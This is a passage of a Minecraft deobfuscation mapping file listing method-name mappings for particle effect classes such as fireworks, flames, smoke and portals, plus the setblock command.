net/minecraft/client/particle/EntityFirework$SparkFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityFirework$SparkFX/setTrail (Z)V net/minecraft/client/particle/EntityFirework$SparkFX/func_92045_e (Z)V +MD: net/minecraft/client/particle/EntityFirework$SparkFX/canBePushed ()Z net/minecraft/client/particle/EntityFirework$SparkFX/func_70104_M ()Z +MD: net/minecraft/client/particle/EntityFirework$SparkFX/getBrightnessForRender (F)I net/minecraft/client/particle/EntityFirework$SparkFX/func_70070_b (F)I +MD: net/minecraft/client/particle/EntityFirework$SparkFX/setFadeColour (I)V net/minecraft/client/particle/EntityFirework$SparkFX/func_92046_g (I)V +MD: net/minecraft/client/particle/EntityFirework$SparkFX/getBrightness (F)F net/minecraft/client/particle/EntityFirework$SparkFX/func_70013_c (F)F +MD: net/minecraft/client/particle/EntityFirework$SparkFX/setTwinkle (Z)V net/minecraft/client/particle/EntityFirework$SparkFX/func_92043_f (Z)V +MD: net/minecraft/client/particle/EntityFirework$SparkFX/onUpdate ()V net/minecraft/client/particle/EntityFirework$SparkFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityFirework$StarterFX/getFXLayer ()I net/minecraft/client/particle/EntityFirework$StarterFX/func_70537_b ()I +MD: net/minecraft/client/particle/EntityFirework$StarterFX/createParticle (DDDDDD[I[IZZ)V net/minecraft/client/particle/EntityFirework$StarterFX/func_92034_a (DDDDDD[I[IZZ)V +MD: net/minecraft/client/particle/EntityFirework$StarterFX/createBall (DI[I[IZZ)V net/minecraft/client/particle/EntityFirework$StarterFX/func_92035_a (DI[I[IZZ)V +MD: net/minecraft/client/particle/EntityFirework$StarterFX/createShaped (D[[D[I[IZZZ)V net/minecraft/client/particle/EntityFirework$StarterFX/func_92038_a (D[[D[I[IZZZ)V +MD: net/minecraft/client/particle/EntityFirework$StarterFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityFirework$StarterFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityFirework$StarterFX/createBurst ([I[IZZ)V net/minecraft/client/particle/EntityFirework$StarterFX/func_92036_a ([I[IZZ)V +MD: net/minecraft/client/particle/EntityFirework$StarterFX/func_92037_i ()Z net/minecraft/client/particle/EntityFirework$StarterFX/func_92037_i ()Z +MD: net/minecraft/client/particle/EntityFirework$StarterFX/onUpdate ()V net/minecraft/client/particle/EntityFirework$StarterFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityFirework$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityFirework$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityFlameFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityFlameFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityFlameFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityFlameFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityFlameFX/getBrightnessForRender (F)I net/minecraft/client/particle/EntityFlameFX/func_70070_b (F)I +MD: net/minecraft/client/particle/EntityFlameFX/getBrightness (F)F net/minecraft/client/particle/EntityFlameFX/func_70013_c (F)F +MD: net/minecraft/client/particle/EntityFlameFX/onUpdate ()V net/minecraft/client/particle/EntityFlameFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityFootStepFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityFootStepFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityFootStepFX/getFXLayer ()I net/minecraft/client/particle/EntityFootStepFX/func_70537_b ()I +MD: net/minecraft/client/particle/EntityFootStepFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityFootStepFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityFootStepFX/onUpdate ()V net/minecraft/client/particle/EntityFootStepFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityHeartFX$AngryVillagerFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityHeartFX$AngryVillagerFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityHeartFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityHeartFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityHeartFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityHeartFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityHeartFX/onUpdate ()V net/minecraft/client/particle/EntityHeartFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityLargeExplodeFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityLargeExplodeFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityLargeExplodeFX/getFXLayer ()I net/minecraft/client/particle/EntityLargeExplodeFX/func_70537_b ()I +MD: net/minecraft/client/particle/EntityLargeExplodeFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityLargeExplodeFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityLargeExplodeFX/getBrightnessForRender (F)I net/minecraft/client/particle/EntityLargeExplodeFX/func_70070_b (F)I +MD: net/minecraft/client/particle/EntityLargeExplodeFX/onUpdate ()V net/minecraft/client/particle/EntityLargeExplodeFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityHugeExplodeFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityHugeExplodeFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityHugeExplodeFX/getFXLayer ()I net/minecraft/client/particle/EntityHugeExplodeFX/func_70537_b ()I +MD: net/minecraft/client/particle/EntityHugeExplodeFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityHugeExplodeFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityHugeExplodeFX/onUpdate ()V net/minecraft/client/particle/EntityHugeExplodeFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityPickupFX/getFXLayer ()I net/minecraft/client/particle/EntityPickupFX/func_70537_b ()I +MD: net/minecraft/client/particle/EntityPickupFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityPickupFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityPickupFX/onUpdate ()V net/minecraft/client/particle/EntityPickupFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityCritFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityCritFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityLavaFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityLavaFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityLavaFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityLavaFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityLavaFX/getBrightnessForRender (F)I net/minecraft/client/particle/EntityLavaFX/func_70070_b (F)I +MD: net/minecraft/client/particle/EntityLavaFX/getBrightness (F)F net/minecraft/client/particle/EntityLavaFX/func_70013_c (F)F +MD: net/minecraft/client/particle/EntityLavaFX/onUpdate ()V net/minecraft/client/particle/EntityLavaFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/MobAppearance$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/MobAppearance$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/MobAppearance/getFXLayer ()I net/minecraft/client/particle/MobAppearance/func_70537_b ()I +MD: net/minecraft/client/particle/MobAppearance/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/MobAppearance/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/MobAppearance/onUpdate ()V net/minecraft/client/particle/MobAppearance/func_70071_h_ ()V +MD: net/minecraft/command/server/CommandSetBlock/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandSetBlock/func_82362_a ()I +MD: net/minecraft/command/server/CommandSetBlock/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandSetBlock/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandSetBlock/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandSetBlock/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandSetBlock/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandSetBlock/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandSetBlock/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandSetBlock/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/client/particle/EntityNoteFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityNoteFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityNoteFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityNoteFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityNoteFX/onUpdate ()V net/minecraft/client/particle/EntityNoteFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityFX/getFXLayer ()I net/minecraft/client/particle/EntityFX/func_70537_b ()I +MD: net/minecraft/client/particle/EntityFX/multiplyVelocity (F)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityFX/func_70543_e (F)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityFX/setParticleIcon (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V net/minecraft/client/particle/EntityFX/func_180435_a (Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;)V +MD: net/minecraft/client/particle/EntityFX/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/client/particle/EntityFX/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/client/particle/EntityFX/canAttackWithItem ()Z net/minecraft/client/particle/EntityFX/func_70075_an ()Z +MD: net/minecraft/client/particle/EntityFX/getRedColorF ()F net/minecraft/client/particle/EntityFX/func_70534_d ()F +MD: net/minecraft/client/particle/EntityFX/setRBGColorF (FFF)V net/minecraft/client/particle/EntityFX/func_70538_b (FFF)V +MD: net/minecraft/client/particle/EntityFX/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/client/particle/EntityFX/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/client/particle/EntityFX/getGreenColorF ()F net/minecraft/client/particle/EntityFX/func_70542_f ()F +MD: net/minecraft/client/particle/EntityFX/entityInit ()V net/minecraft/client/particle/EntityFX/func_70088_a ()V +MD: net/minecraft/client/particle/EntityFX/multipleParticleScaleBy (F)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityFX/func_70541_f (F)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityFX/getBlueColorF ()F net/minecraft/client/particle/EntityFX/func_70535_g ()F +MD: net/minecraft/client/particle/EntityFX/setAlphaF (F)V net/minecraft/client/particle/EntityFX/func_82338_g (F)V +MD: net/minecraft/client/particle/EntityFX/getAlpha ()F net/minecraft/client/particle/EntityFX/func_174838_j ()F +MD: net/minecraft/client/particle/EntityFX/nextTextureIndexX ()V net/minecraft/client/particle/EntityFX/func_94053_h ()V +MD: net/minecraft/client/particle/EntityFX/setParticleTextureIndex (I)V net/minecraft/client/particle/EntityFX/func_70536_a (I)V +MD: net/minecraft/client/particle/EntityFX/canTriggerWalking ()Z net/minecraft/client/particle/EntityFX/func_70041_e_ ()Z +MD: net/minecraft/client/particle/EntityFX/onUpdate ()V net/minecraft/client/particle/EntityFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityFX/toString ()Ljava/lang/String; net/minecraft/client/particle/EntityFX/toString ()Ljava/lang/String; +MD: net/minecraft/client/particle/EffectRenderer$1/call ()Ljava/lang/String; net/minecraft/client/particle/EffectRenderer$1/call ()Ljava/lang/String; +MD: net/minecraft/client/particle/EffectRenderer$1/call ()Ljava/lang/Object; net/minecraft/client/particle/EffectRenderer$1/call ()Ljava/lang/Object; +MD: net/minecraft/client/particle/EffectRenderer$2/call ()Ljava/lang/String; net/minecraft/client/particle/EffectRenderer$2/call ()Ljava/lang/String; +MD: net/minecraft/client/particle/EffectRenderer$2/call ()Ljava/lang/Object; net/minecraft/client/particle/EffectRenderer$2/call ()Ljava/lang/Object; +MD: net/minecraft/client/particle/EffectRenderer$3/call ()Ljava/lang/String; net/minecraft/client/particle/EffectRenderer$3/call ()Ljava/lang/String; +MD: net/minecraft/client/particle/EffectRenderer$3/call ()Ljava/lang/Object; net/minecraft/client/particle/EffectRenderer$3/call ()Ljava/lang/Object; +MD: net/minecraft/client/particle/EffectRenderer$4/call ()Ljava/lang/String; net/minecraft/client/particle/EffectRenderer$4/call ()Ljava/lang/String; +MD: net/minecraft/client/particle/EffectRenderer$4/call ()Ljava/lang/Object; net/minecraft/client/particle/EffectRenderer$4/call ()Ljava/lang/Object; +MD: net/minecraft/client/particle/EffectRenderer/updateEffects ()V net/minecraft/client/particle/EffectRenderer/func_78868_a ()V +MD: net/minecraft/client/particle/EffectRenderer/updateEffectLayer (I)V net/minecraft/client/particle/EffectRenderer/func_178922_a (I)V +MD: net/minecraft/client/particle/EffectRenderer/spawnEffectParticle (IDDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EffectRenderer/func_178927_a (IDDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EffectRenderer/registerParticle (ILnet/minecraft/client/particle/IParticleFactory;)V net/minecraft/client/particle/EffectRenderer/func_178929_a (ILnet/minecraft/client/particle/IParticleFactory;)V +MD: net/minecraft/client/particle/EffectRenderer/clearEffects (Lnet/minecraft/world/World;)V net/minecraft/client/particle/EffectRenderer/func_78870_a (Lnet/minecraft/world/World;)V +MD: net/minecraft/client/particle/EffectRenderer/addEffect (Lnet/minecraft/client/particle/EntityFX;)V net/minecraft/client/particle/EffectRenderer/func_78873_a (Lnet/minecraft/client/particle/EntityFX;)V +MD: net/minecraft/client/particle/EffectRenderer/moveToLayer (Lnet/minecraft/client/particle/EntityFX;II)V net/minecraft/client/particle/EffectRenderer/func_178924_a (Lnet/minecraft/client/particle/EntityFX;II)V +MD: net/minecraft/client/particle/EffectRenderer/addBlockDestroyEffects (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V net/minecraft/client/particle/EffectRenderer/func_180533_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/block/state/IBlockState;)V +MD: net/minecraft/client/particle/EffectRenderer/addBlockHitEffects (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V net/minecraft/client/particle/EffectRenderer/func_180532_a (Lnet/minecraft/util/BlockPos;Lnet/minecraft/util/EnumFacing;)V +MD: net/minecraft/client/particle/EffectRenderer/updateEffectAlphaLayer (Ljava/util/List;)V net/minecraft/client/particle/EffectRenderer/func_178925_a (Ljava/util/List;)V +MD: net/minecraft/client/particle/EffectRenderer/renderParticles (Lnet/minecraft/entity/Entity;F)V net/minecraft/client/particle/EffectRenderer/func_78874_a (Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/client/particle/EffectRenderer/emitParticleAtEntity (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/EnumParticleTypes;)V net/minecraft/client/particle/EffectRenderer/func_178926_a (Lnet/minecraft/entity/Entity;Lnet/minecraft/util/EnumParticleTypes;)V +MD: net/minecraft/client/particle/EffectRenderer/getStatistics ()Ljava/lang/String; net/minecraft/client/particle/EffectRenderer/func_78869_b ()Ljava/lang/String; +MD: net/minecraft/client/particle/EffectRenderer/moveToAlphaLayer (Lnet/minecraft/client/particle/EntityFX;)V net/minecraft/client/particle/EffectRenderer/func_178928_b (Lnet/minecraft/client/particle/EntityFX;)V +MD: net/minecraft/client/particle/EffectRenderer/renderLitParticles (Lnet/minecraft/entity/Entity;F)V net/minecraft/client/particle/EffectRenderer/func_78872_b (Lnet/minecraft/entity/Entity;F)V +MD: net/minecraft/client/particle/EffectRenderer/registerVanillaParticles ()V net/minecraft/client/particle/EffectRenderer/func_178930_c ()V +MD: net/minecraft/client/particle/EffectRenderer/moveToNoAlphaLayer (Lnet/minecraft/client/particle/EntityFX;)V net/minecraft/client/particle/EffectRenderer/func_178931_c (Lnet/minecraft/client/particle/EntityFX;)V +MD: net/minecraft/client/particle/EffectRenderer/tickParticle (Lnet/minecraft/client/particle/EntityFX;)V net/minecraft/client/particle/EffectRenderer/func_178923_d (Lnet/minecraft/client/particle/EntityFX;)V +MD: net/minecraft/client/particle/IParticleFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/IParticleFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityCloudFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityCloudFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityCloudFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityCloudFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityCloudFX/onUpdate ()V net/minecraft/client/particle/EntityCloudFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityPortalFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityPortalFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityPortalFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityPortalFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityPortalFX/getBrightnessForRender (F)I net/minecraft/client/particle/EntityPortalFX/func_70070_b (F)I +MD: net/minecraft/client/particle/EntityPortalFX/getBrightness (F)F net/minecraft/client/particle/EntityPortalFX/func_70013_c (F)F +MD: net/minecraft/client/particle/EntityPortalFX/onUpdate ()V net/minecraft/client/particle/EntityPortalFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityReddustFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityReddustFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityReddustFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityReddustFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntityReddustFX/onUpdate ()V net/minecraft/client/particle/EntityReddustFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntitySmokeFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntitySmokeFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntitySmokeFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntitySmokeFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntitySmokeFX/onUpdate ()V net/minecraft/client/particle/EntitySmokeFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntitySnowShovelFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntitySnowShovelFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntitySnowShovelFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntitySnowShovelFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntitySnowShovelFX/onUpdate ()V net/minecraft/client/particle/EntitySnowShovelFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntitySpellParticleFX$AmbientMobFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntitySpellParticleFX$AmbientMobFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntitySpellParticleFX$InstantFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntitySpellParticleFX$InstantFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntitySpellParticleFX$MobFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntitySpellParticleFX$MobFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntitySpellParticleFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntitySpellParticleFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntitySpellParticleFX$WitchFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntitySpellParticleFX$WitchFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntitySpellParticleFX/setBaseSpellTextureIndex (I)V net/minecraft/client/particle/EntitySpellParticleFX/func_70589_b (I)V +MD: net/minecraft/client/particle/EntitySpellParticleFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntitySpellParticleFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: net/minecraft/client/particle/EntitySpellParticleFX/onUpdate ()V net/minecraft/client/particle/EntitySpellParticleFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntitySplashFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntitySplashFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntitySuspendFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntitySuspendFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntitySuspendFX/onUpdate ()V net/minecraft/client/particle/EntitySuspendFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityAuraFX$HappyVillagerFactory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityAuraFX$HappyVillagerFactory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityAuraFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityAuraFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityAuraFX/onUpdate ()V net/minecraft/client/particle/EntityAuraFX/func_70071_h_ ()V +MD: net/minecraft/client/particle/EntityBlockDustFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityBlockDustFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityDiggingFX$Factory/getEntityFX (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; net/minecraft/client/particle/EntityDiggingFX$Factory/func_178902_a (ILnet/minecraft/world/World;DDDDDD[I)Lnet/minecraft/client/particle/EntityFX; +MD: net/minecraft/client/particle/EntityDiggingFX/getFXLayer ()I net/minecraft/client/particle/EntityDiggingFX/func_70537_b ()I +MD: net/minecraft/client/particle/EntityDiggingFX/renderParticle (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V net/minecraft/client/particle/EntityDiggingFX/func_180434_a (Lnet/minecraft/client/renderer/WorldRenderer;Lnet/minecraft/entity/Entity;FFFFFF)V +MD: 